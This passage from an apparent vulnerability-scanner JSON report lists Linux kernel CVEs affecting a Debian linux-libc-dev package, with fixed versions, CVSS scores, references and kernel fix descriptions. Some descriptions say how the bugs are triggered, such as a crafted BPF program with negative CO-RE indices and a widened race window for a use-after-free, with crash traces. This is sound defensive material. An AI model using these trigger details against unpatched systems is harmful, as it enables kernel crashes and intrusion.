"https://bugzilla.redhat.com/2425046", "https://bugzilla.redhat.com/2429602", "https://bugzilla.redhat.com/2432389", "https://bugzilla.redhat.com/2432400", "https://bugzilla.redhat.com/2439852", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2448745", "https://bugzilla.redhat.com/2453803", "https://bugzilla.redhat.com/2454844", "https://bugzilla.redhat.com/2461107", "https://bugzilla.redhat.com/2461521", "https://bugzilla.redhat.com/2467059", "https://bugzilla.redhat.com/2467144", "https://bugzilla.redhat.com/2467771", "https://bugzilla.redhat.com/2477015", "https://bugzilla.redhat.com/2477802", "https://bugzilla.redhat.com/show_bug.cgi?id=2480902", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://errata.almalinux.org/9/ALSA-2026-19568.html", "https://git.kernel.org/linus/48f6a5356a33dd78e7144ae1faef95ffc990aae0", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-43503.mbox", "https://git.kernel.org/stable/c/12401fcfb01f53ccc63ab0a3246570fe8f3105ee", "https://git.kernel.org/stable/c/179f1852bdedc300e373e807cc102cd81feff196", "https://git.kernel.org/stable/c/48f6a5356a33dd78e7144ae1faef95ffc990aae0", "https://git.kernel.org/stable/c/989214c66884d70716d83dc1d0bf5e16287bf349", "https://git.kernel.org/stable/c/9bc9d6d6967a2239aa57af2aa53554eddd640d20", "https://git.kernel.org/stable/c/fbeab9555564a1b98e8582cd106dfe46c4606991", "https://git.kernel.org/stable/c/fc6eb39c55e97df2f94ad974b8a5bbcd019da2c8", "https://git.kernel.org/stable/c/ff375cc75f9167168db38e0464a482d5fbc8d81d", "https://linux.oracle.com/cve/CVE-2026-43503.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-43503", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43503.json", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8617-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://www.cve.org/CVERecord?id=CVE-2026-43503" ], "PublishedDate": "2026-05-23T12:17:02.547Z", "LastModifiedDate": "2026-10-16T19:17:06.887Z" }, { "VulnerabilityID": "CVE-2026-45839", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45839", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:db3faeb0e28f90e113f19e7efa5e7b33adf629179d0891bda33660d92decd812", "Title": "kernel: bpf: reject negative CO-RE accessor indices in bpf_core_parse_spec()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: reject negative CO-RE accessor indices in bpf_core_parse_spec()\n\nCO-RE accessor strings are colon-separated indices that describe a path\nfrom a root BTF type to a target field, e.g. \"0:1:2\" walks through\nnested struct members. bpf_core_parse_spec() parses each component with\nsscanf(\"%d\"), so negative values like -1 are silently accepted. The\nsubsequent bounds checks (access_idx \u003e= btf_vlen(t)) only guard the\nupper bound and always pass for negative values because C integer\npromotion converts the __u16 btf_vlen result to int, making the\ncomparison (int)(-1) \u003e= (int)(N) false for any positive N.\n\nWhen -1 reaches btf_member_bit_offset() it gets cast to u32 0xffffffff,\nproducing an out-of-bounds read far past the members array. A crafted\nBPF program with a negative CO-RE accessor on any struct that exists in\nvmlinux BTF (e.g. task_struct) crashes the kernel deterministically\nduring BPF_PROG_LOAD on any system with CONFIG_DEBUG_INFO_BTF=y\n(default on major distributions). The bug is reachable with CAP_BPF:\n\n BUG: unable to handle page fault for address: ffffed11818b6626\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n Oops: Oops: 0000 [#1] SMP KASAN NOPTI\n CPU: 0 UID: 0 PID: 85 Comm: poc Not tainted 7.0.0-rc6 #18 PREEMPT(full)\n RIP: 0010:bpf_core_parse_spec (tools/lib/bpf/relo_core.c:354)\n RAX: 00000000ffffffff\n Call Trace:\n \u003cTASK\u003e\n bpf_core_calc_relo_insn (tools/lib/bpf/relo_core.c:1321)\n bpf_core_apply (kernel/bpf/btf.c:9507)\n check_core_relo (kernel/bpf/verifier.c:19475)\n bpf_check (kernel/bpf/verifier.c:26031)\n bpf_prog_load (kernel/bpf/syscall.c:3089)\n __sys_bpf (kernel/bpf/syscall.c:6228)\n \u003c/TASK\u003e\n\nCO-RE accessor indices are inherently non-negative (struct member index,\narray element index, or enumerator index), so reject them immediately\nafter parsing.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45839", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/1c22483a2c4bbf747787f328392ca3e68619c4dc%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1c22483a2c4bbf747787f328392ca3e68619c4dc", "https://git.kernel.org/stable/c/36a9012f76ba8d9189ae56a1f8bb7c87c07a1f3a", "https://git.kernel.org/stable/c/3ff85ae79e1a74baeb916b78a63d821f6d19a994", "https://git.kernel.org/stable/c/669349b4612c26b3d7aacfa99d7174681bd19223", "https://git.kernel.org/stable/c/76f2ebaf79a9ae6d0737b87f045fe769e425d78f", "https://git.kernel.org/stable/c/99dbab7b5a12d8f58d5b0aa2f7a1fe656a70f4b2", "https://git.kernel.org/stable/c/a9e777f856cd2f1efc106afc7bf21aef868509d5", "https://git.kernel.org/stable/c/c8e49b79c4b48bd687706ff6e9c82638dc81ef80", "https://lore.kernel.org/linux-cve-announce/2026052712-CVE-2026-45839-44c7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45839", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-45839" ], "PublishedDate": "2026-05-27T11:16:23.247Z", "LastModifiedDate": "2026-10-15T02:19:36.55Z" }, { "VulnerabilityID": "CVE-2026-45866", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45866", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:072feb403015d565f25789a73a6656c6b7236e42aa7e01f83ea64a091b357a51", "Title": "kernel: serial: caif: fix use-after-free in caif_serial ldisc_close()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nserial: caif: fix use-after-free in caif_serial ldisc_close()\n\nThere is a use-after-free bug in caif_serial where handle_tx() may\naccess ser-\u003etty after the tty has been freed.\n\nThe race condition occurs between ldisc_close() and packet transmission:\n\n CPU 0 (close) CPU 1 (xmit)\n ------------- ------------\n ldisc_close()\n tty_kref_put(ser-\u003etty)\n [tty may be freed here]\n \u003c-- race window --\u003e\n caif_xmit()\n handle_tx()\n tty = ser-\u003etty // dangling ptr\n tty-\u003eops-\u003ewrite() // UAF!\n schedule_work()\n ser_release()\n unregister_netdevice()\n\nThe root cause is that tty_kref_put() is called in ldisc_close() while\nthe network device is still active and can receive packets.\n\nSince ser and tty have a 1:1 binding relationship with consistent\nlifecycles (ser is allocated in ldisc_open and freed in ser_release\nvia unregister_netdevice, and each ser binds exactly one tty), we can\nsafely defer the tty reference release to ser_release() where the\nnetwork device is unregistered.\n\nFix this by moving tty_kref_put() from ldisc_close() to ser_release(),\nafter unregister_netdevice(). This ensures the tty reference is held\nas long as the network device exists, preventing the UAF.\n\nNote: We save ser-\u003etty before unregister_netdevice() because ser is\nembedded in netdev's private data and will be freed along with netdev\n(needs_free_netdev = true).\n\nHow to reproduce: Add mdelay(500) at the beginning of ldisc_close()\nto widen the race window, then run the reproducer program [1].\n\nNote: There is a separate deadloop issue in handle_tx() when using\nPORT_UNKNOWN serial ports (e.g., /dev/ttyS3 in QEMU without proper\nserial backend). This deadloop exists even without this patch,\nand is likely caused by inconsistency between uart_write_room() and\nuart_write() in serial core. It has been addressed in a separate\npatch [2].\n\nKASAN report:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in handle_tx+0x5d1/0x620\nRead of size 1 at addr ffff8881131e1490 by task caif_uaf_trigge/9929\n\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x10e/0x1f0\n print_report+0xd0/0x630\n kasan_report+0xe4/0x120\n handle_tx+0x5d1/0x620\n dev_hard_start_xmit+0x9d/0x6c0\n __dev_queue_xmit+0x6e2/0x4410\n packet_xmit+0x243/0x360\n packet_sendmsg+0x26cf/0x5500\n __sys_sendto+0x4a3/0x520\n __x64_sys_sendto+0xe0/0x1c0\n do_syscall_64+0xc9/0xf80\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f615df2c0d7\n\nAllocated by task 9930:\n\nFreed by task 64:\n\nLast potentially related work creation:\n\nThe buggy address belongs to the object at ffff8881131e1000\n which belongs to the cache kmalloc-cg-2k of size 2048\nThe buggy address is located 1168 bytes inside of\n freed 2048-byte region [ffff8881131e1000, ffff8881131e1800)\n\nThe buggy address belongs to the physical page:\npage_owner tracks the page as allocated\npage last free pid 9778 tgid 9778 stack trace:\n\nMemory state around the buggy address:\n ffff8881131e1380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ffff8881131e1400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n\u003effff8881131e1480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ^\n ffff8881131e1500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ffff8881131e1580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n==================================================================\n[1]: https://gist.github.com/mrpre/f683f244544f7b11e7fa87df9e6c2eeb\n[2]: https://lore.kernel.org/linux-serial/20260204074327.226165-1-jiayuan.chen@linux.dev/T/#u", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45866", "https://git.kernel.org/linus/308e7e4d0a846359685f40aade023aee7b27284c%20%287.0-rc1%29", "https://git.kernel.org/stable/c/308e7e4d0a846359685f40aade023aee7b27284c", "https://git.kernel.org/stable/c/331e2b7051635780edea248dd08ae2026c126f4a", "https://git.kernel.org/stable/c/40962f2bf8cdba63af23aec95ad3f49b689e58e2", "https://git.kernel.org/stable/c/4e63d6f68544ae5269ac9735ae5b69b59b5b8725", "https://git.kernel.org/stable/c/52731ef4438155cea782fac74e547a327ab9e7c5", "https://git.kernel.org/stable/c/5e266ba8d330d3b8e5bc198f238cd8901826cfa1", "https://git.kernel.org/stable/c/c8c197aaa56b25a2d54f3aa07e27e228d6c08546", "https://git.kernel.org/stable/c/d3c75db4e0460641dbcd274b40867e252d801da1", "https://lore.kernel.org/linux-cve-announce/2026052712-CVE-2026-45866-268a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45866", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45866" ], "PublishedDate": "2026-05-27T14:16:58.963Z", "LastModifiedDate": "2026-06-25T21:06:52.637Z" }, { "VulnerabilityID": "CVE-2026-45867", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45867", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1b6ebc6c31acd0f51776d28f13c2f43701e6039329da77394784c0791cec745c", "Title": "kernel: power: supply: act8945a: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: act8945a: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45867", "https://git.kernel.org/linus/3291c51d4684d048dd2eb91b5b65fcfdaf72141f%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0768e8525a46df103647ca5059b32320d7fd17e4", "https://git.kernel.org/stable/c/3291c51d4684d048dd2eb91b5b65fcfdaf72141f", "https://git.kernel.org/stable/c/697bb5dc0cb4791e244f3970b067bc1ef33be9d9", "https://git.kernel.org/stable/c/76a42ba547a9b2e2337894f67a4d9247445007d5", "https://git.kernel.org/stable/c/83c1bd466c514cb24ca6ef347c5aac76a13c4e1e", "https://git.kernel.org/stable/c/d023ef9f748b2090f7a9dbdd5c622b6ad99088ea", "https://git.kernel.org/stable/c/f27eb76def5c07e4d7cc468b40741f19dafc83ce", "https://git.kernel.org/stable/c/f2a0777b1e5a3cee1712c4d3e9095c0df8fc8cb3", "https://lore.kernel.org/linux-cve-announce/2026052712-CVE-2026-45867-b2c8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45867", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45867" ], "PublishedDate": "2026-05-27T14:17:00.023Z", "LastModifiedDate": "2026-06-25T21:06:38.407Z" }, { "VulnerabilityID": "CVE-2026-45879", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45879", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ad045f5c467c3326c7ebf610496b12b7f0f29de1de8bd1e9dd116ba666c43f9c", "Title": "kernel: power: supply: bq25980: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: bq25980: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45879", "https://git.kernel.org/linus/5f0b1cb41906e86b64bf69f5ededb83b0d757c27%20%287.0-rc1%29", "https://git.kernel.org/stable/c/03d1e4ee4e6aa6d2966e883e4ca0e5be73bf1b7c", "https://git.kernel.org/stable/c/0560a4b09c92e2ecaa883965cf6f9ca51c158ff9", "https://git.kernel.org/stable/c/0de95d29d847c6217b7d5845e24a71a4aee7b359", "https://git.kernel.org/stable/c/16875e3b7bc9e59bfa0acaf1e43f275a6f42a30f", "https://git.kernel.org/stable/c/4aeaf03c17260415c2fdd55992f9ad4188d5455a", "https://git.kernel.org/stable/c/5f0b1cb41906e86b64bf69f5ededb83b0d757c27", "https://git.kernel.org/stable/c/86f93dfb23f5bf4f285c4256a7e909d222f7de56", "https://git.kernel.org/stable/c/abea607ff2f62f4c0a5fb29f7fbdaaab163276a4", "https://lore.kernel.org/linux-cve-announce/2026052715-CVE-2026-45879-24a2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45879", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45879" ], "PublishedDate": "2026-05-27T14:17:01.677Z", "LastModifiedDate": "2026-06-25T21:12:07.587Z" }, { "VulnerabilityID": "CVE-2026-45885", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45885", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c2624d716467a0db7dc386ba446fceefcb9fa7ef021c1f8c46b3627d8e037d14", "Title": "kernel: power: supply: cpcap-battery: Fix use-after-free in power_supply_changed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: cpcap-battery: Fix use-after-free in power_supply_changed()\n\nUsing the `devm_` variant for requesting IRQ _before_ the `devm_`\nvariant for allocating/registering the `power_supply` handle, means that\nthe `power_supply` handle will be deallocated/unregistered _before_ the\ninterrupt handler (since `devm_` naturally deallocates in reverse\nallocation order). This means that during removal, there is a race\ncondition where an interrupt can fire just _after_ the `power_supply`\nhandle has been freed, *but* just _before_ the corresponding\nunregistration of the IRQ handler has run.\n\nThis will lead to the IRQ handler calling `power_supply_changed()` with\na freed `power_supply` handle. Which usually crashes the system or\notherwise silently corrupts the memory...\n\nNote that there is a similar situation which can also happen during\n`probe()`; the possibility of an interrupt firing _before_ registering\nthe `power_supply` handle. This would then lead to the nasty situation\nof using the `power_supply` handle *uninitialized* in\n`power_supply_changed()`.\n\nFix this racy use-after-free by making sure the IRQ is requested _after_\nthe registration of the `power_supply` handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45885", "https://git.kernel.org/linus/642f33e34b969eedec334738fd5df95d2dc42742%20%287.0-rc1%29", "https://git.kernel.org/stable/c/2841bbb5a35c4449c0a0458e8e476b2a62f95147", "https://git.kernel.org/stable/c/2ce2334be155bd8bad6377e99984246ce4dbd08c", "https://git.kernel.org/stable/c/3ff75cba1c98349a23a8f9333981deba1972cc11", "https://git.kernel.org/stable/c/642f33e34b969eedec334738fd5df95d2dc42742", "https://git.kernel.org/stable/c/c549dd3de4b3f6e726d1b8386d40ccf7d3abdbe4", "https://git.kernel.org/stable/c/cbb9b07f88a9ef6518934c41eb3e8cf840d657d5", "https://git.kernel.org/stable/c/e261be6f18929f2397cd54cd583a2df624c129c1", "https://git.kernel.org/stable/c/f3fbe309c9bfe1aac1e2b26543e9dc4829f3275a", "https://lore.kernel.org/linux-cve-announce/2026052716-CVE-2026-45885-d29f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45885", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", 